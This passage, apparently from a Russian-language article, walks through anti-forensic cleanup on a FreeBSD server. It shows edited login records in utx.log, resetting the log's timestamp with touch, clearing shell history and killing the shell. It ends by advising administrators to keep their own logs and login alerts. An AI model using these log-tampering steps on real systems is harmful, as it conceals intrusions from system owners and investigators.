[1446494176.682516 -- Mon Nov  2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209"
[1446498691.474026 -- Tue Nov  3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263"
[1446614492.857275 -- Wed Nov  4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92"
[1446614507.736041 -- Wed Nov  4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491"
[1446698146.439426 -- Thu Nov  5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124"
[1446706228.892627 -- Thu Nov  5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858"
[1446710834.014993 -- Thu Nov  5 11:07:14 2015] system shutdown
[1446710906.311914 -- Thu Nov  5 11:08:26 2015] system boot
[1446710938.817058 -- Thu Nov  5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15"
[1446721174.063221 -- Thu Nov  5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209"
[1446815955.085182 -- Fri Nov  6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313"
[1446906334.551710 -- Sat Nov  7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209"
[1446912588.809728 -- Sat Nov  7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789"
[1447045707.708080 -- Mon Nov  9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru"
[1447045911.315244 -- Mon Nov  9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008"
[1447052181.641530 -- Mon Nov  9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15"
[1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54"
[1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441"
[1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot
[1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15"
[1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15"
[1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422"
[1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" pid="1644"
[1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101"
[1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685"
[1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209"
[1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15"
[1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209"
[1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018"




и соответственно

# lastlogin
lastlogin
Alex       pts/2    108.182.182.209        Thu Nov 12 11:28:27 2015
root       ttyv1                           Sun Jul 19 11:06:57 2015
swimmer    ftpd     10.34.1.23             Mon Oct  6 16:07:21 2014



Все эти манипуляции привели к

# ls -l /var/log/utx.log
ls -l /var/log/utx.log
-rw-r--r--  1 root  wheel  1570 Nov 13 14:28 /var/log/utx.log



Поэтому редактируем время посещения в соотвтетствии с последней записью в логе

# touch -t201511121306 /var/log/utx.log
touch -t201511121306 /var/log/utx.log
# ls -l /var/log/utx.log
ls -l /var/log/utx.log
-rw-r--r--  1 root  wheel  1570 Nov 12 13:06 /var/log/utx.log

Повторяем то же для остальных файлов…

Дело сделано, пора уходить. Чистим историю

# history -c 


и уходим «по английски»

# kill -9 $$

К чему всё вышеизложенное?
Не полагайтесь только на системные логи, ведите свои. Хотя бы уведомления на e-mail о входе.

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